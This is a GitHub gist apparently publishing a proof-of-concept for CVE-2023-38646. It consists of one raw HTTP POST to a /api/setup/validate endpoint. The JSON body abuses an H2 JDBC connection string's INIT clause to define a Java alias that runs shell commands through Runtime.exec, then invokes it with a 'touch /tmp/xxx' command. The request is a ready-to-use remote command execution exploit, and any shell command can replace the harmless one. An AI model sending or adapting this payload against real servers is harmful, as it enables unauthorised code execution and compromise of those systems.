Skip to content

Instantly share code, notes, and snippets.

@testanull

testanull/cve-2023-38646_poc.txt

Created July 28, 2023 02:11
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save testanull/a7beb2777bbf550f3cf533d2794477fe to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save testanull/a7beb2777bbf550f3cf533d2794477fe to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. testanull created this gist Jul 28, 2023.
    12 changes: 12 additions & 0 deletions cve-2023-38646_poc.txt
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,12 @@
    POST /api/setup/validate HTTP/1.1
    Host: localhost:3000
    Content-Length: 416
    Accept: application/json
    Content-Type: application/json
    User-Agent: Mozilla/5.0
    Connection: close

    {"token":"d66c72f1-ddf7-4d55-aaff-53ffbd4fbb7b","details":{"details":{
    "subprotocol":"h2",
    "classname":"org.h2.Driver","advanced-options":true,
    "subname":"mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(new String[]{\"sh\", \"-c\", cmd})\\;}$$\\;CALL SHELLEXEC('touch /tmp/xxx');"},"name":"x","engine":"postgres"}}